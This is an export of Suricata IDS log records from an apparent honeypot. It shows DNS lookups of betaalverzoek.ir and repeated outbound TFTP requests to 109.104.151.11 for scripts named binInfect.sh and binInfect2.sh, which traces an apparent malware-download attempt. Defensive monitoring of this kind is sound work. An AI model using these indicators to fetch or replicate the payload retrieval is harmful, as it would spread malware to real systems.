29436	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:17.881767+03	2021-09-20 14:30:04.128523+03	{"_id": "lAb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 47676, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1150243510514791, "@version": "1", "in_iface": "enp5s0", "src_port": 40506, "dest_port": 53, "timestamp": "2021-09-20T11:26:17.881767Z", "@timestamp": "2021-09-20T11:26:17.881Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29437	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:17.885435+03	2021-09-20 14:30:04.129524+03	{"_id": "lQb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 64}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:17.885435Z", "@timestamp": "2021-09-20T11:26:17.885Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29438	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:18.064361+03	2021-09-20 14:30:04.130524+03	{"_id": "lwb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 1, "pkts_toserver": 1, "bytes_toclient": 92, "bytes_toserver": 64}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1879711493489339, "payload": "RQAAMr1DQAAxEbLnwKgUdG1olwvEFwBFAB5a2AABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:18.064361Z", "@timestamp": "2021-09-20T11:26:18.064Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2.C@.1......tmh.....E..Z...binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29439	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:17.883284+03	2021-09-20 14:30:04.132523+03	{"_id": "mAb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 47676, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 575, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1150243510514791, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40506, "timestamp": "2021-09-20T11:26:17.883284Z", "@timestamp": "2021-09-20T11:26:17.883Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29440	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:17.883584+03	2021-09-20 14:30:04.133523+03	{"_id": "mQb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1746, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1274400277625728, "@version": "1", "in_iface": "enp5s0", "src_port": 52524, "dest_port": 53, "timestamp": "2021-09-20T11:26:17.883584Z", "@timestamp": "2021-09-20T11:26:17.883Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29441	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:17.885435+03	2021-09-20 14:30:04.134524+03	{"_id": "mgb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "dest_port": 69, "timestamp": "2021-09-20T11:26:17.885435Z", "@timestamp": "2021-09-20T11:26:17.885Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29442	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:22.893396+03	2021-09-20 14:30:04.135524+03	{"_id": "qwb1AnwBvYTbRNuEATXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 51411, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 570, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 614963884235400, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34480, "timestamp": "2021-09-20T11:26:22.893396Z", "@timestamp": "2021-09-20T11:26:22.893Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29443	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:22.893867+03	2021-09-20 14:30:04.136525+03	{"_id": "rQb1AnwBvYTbRNuEATXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "dest_port": 69, "timestamp": "2021-09-20T11:26:22.893867Z", "@timestamp": "2021-09-20T11:26:22.893Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29444	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:17.885323+03	2021-09-20 14:30:04.138524+03	{"_id": "lgb0AnwBvYTbRNuE7jVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1746, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 575, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1274400277625728, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 52524, "timestamp": "2021-09-20T11:26:17.885323Z", "@timestamp": "2021-09-20T11:26:17.885Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29445	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:22.893867+03	2021-09-20 14:30:04.139524+03	{"_id": "rAb1AnwBvYTbRNuEATXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 92, "bytes_toserver": 128}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:22.893867Z", "@timestamp": "2021-09-20T11:26:22.893Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29446	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:22.891528+03	2021-09-20 14:30:04.140523+03	{"_id": "rgb1AnwBvYTbRNuEATXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 51411, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 614963884235400, "@version": "1", "in_iface": "enp5s0", "src_port": 34480, "dest_port": 53, "timestamp": "2021-09-20T11:26:22.891528Z", "@timestamp": "2021-09-20T11:26:22.891Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29447	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:23.072532+03	2021-09-20 14:30:04.141524+03	{"_id": "rwb1AnwBvYTbRNuEATXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 2, "pkts_toserver": 2, "bytes_toclient": 184, "bytes_toserver": 128}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1879711493489339, "payload": "RQAAMr8WQAAxEbEUwKgUdG1olwvEFwBFAB5a2AABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:23.072532Z", "@timestamp": "2021-09-20T11:26:23.072Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1......tmh.....E..Z...binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29448	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:07.863555+03	2021-09-20 14:30:04.142524+03	{"_id": "hAb0AnwBvYTbRNuExzUx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 35035, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 779392411184451, "@version": "1", "in_iface": "enp5s0", "src_port": 56195, "dest_port": 53, "timestamp": "2021-09-20T11:26:07.863555Z", "@timestamp": "2021-09-20T11:26:07.863Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29459	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:37.923906+03	2021-09-20 14:30:04.155524+03	{"_id": "xwb1AnwBvYTbRNuEPDVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "dest_port": 69, "timestamp": "2021-09-20T11:26:37.923906Z", "@timestamp": "2021-09-20T11:26:37.923Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29449	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:08.043273+03	2021-09-20 14:30:04.143524+03	{"_id": "hQb0AnwBvYTbRNuExzUx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 364, "bytes_toserver": 252}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 872530923536644, "payload": "RQAAMbZXQAAxEbnUwKgUdG1olwvKQwBFAB0GLwABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:08.043273Z", "@timestamp": "2021-09-20T11:26:08.043Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1.W@.1......tmh...C.E.../..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29450	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:27.901607+03	2021-09-20 14:30:04.145525+03	{"_id": "twb1AnwBvYTbRNuEFTVe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7643, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1164139877876199, "@version": "1", "in_iface": "enp5s0", "src_port": 54013, "dest_port": 53, "timestamp": "2021-09-20T11:26:27.901607Z", "@timestamp": "2021-09-20T11:26:27.901Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29451	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:27.903023+03	2021-09-20 14:30:04.146525+03	{"_id": "uAb1AnwBvYTbRNuEFTVe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7643, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 565, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1164139877876199, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54013, "timestamp": "2021-09-20T11:26:27.903023Z", "@timestamp": "2021-09-20T11:26:27.903Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29452	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:27.903456+03	2021-09-20 14:30:04.147524+03	{"_id": "uQb1AnwBvYTbRNuEFTVe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 184, "bytes_toserver": 192}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:27.903456Z", "@timestamp": "2021-09-20T11:26:27.903Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29453	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:27.903456+03	2021-09-20 14:30:04.148523+03	{"_id": "ugb1AnwBvYTbRNuEFTVe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1879711493489339, "@version": "1", "in_iface": "enp5s0", "src_port": 50199, "dest_port": 69, "timestamp": "2021-09-20T11:26:27.903456Z", "@timestamp": "2021-09-20T11:26:27.903Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29460	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:32.911506+03	2021-09-20 14:30:04.156525+03	{"_id": "wQb1AnwBvYTbRNuEKDXl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32853, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1447373644032146, "@version": "1", "in_iface": "enp5s0", "src_port": 46972, "dest_port": 53, "timestamp": "2021-09-20T11:26:32.911506Z", "@timestamp": "2021-09-20T11:26:32.911Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29454	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:28.081092+03	2021-09-20 14:30:04.149524+03	{"_id": "uwb1AnwBvYTbRNuEFTVe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 276, "bytes_toserver": 192}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1879711493489339, "payload": "RQAAMr9mQAAxEbDEwKgUdG1olwvEFwBFAB5a2AABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:28.081092Z", "@timestamp": "2021-09-20T11:26:28.081Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2.f@.1......tmh.....E..Z...binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
29455	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:37.921448+03	2021-09-20 14:30:04.150524+03	{"_id": "yAb1AnwBvYTbRNuEPDVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4000, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1067311988281192, "@version": "1", "in_iface": "enp5s0", "src_port": 55540, "dest_port": 53, "timestamp": "2021-09-20T11:26:37.921448Z", "@timestamp": "2021-09-20T11:26:37.921Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29456	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:38.101762+03	2021-09-20 14:30:04.151524+03	{"_id": "yQb1AnwBvYTbRNuEPDVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:26:17.885435+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 460, "bytes_toserver": 320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1879711493489339, "payload": "RQAAMsKgQAAxEa2KwKgUdG1olwvEFwBFAB5a2AABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:38.101762Z", "@timestamp": "2021-09-20T11:26:38.101Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1......tmh.....E..Z...binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
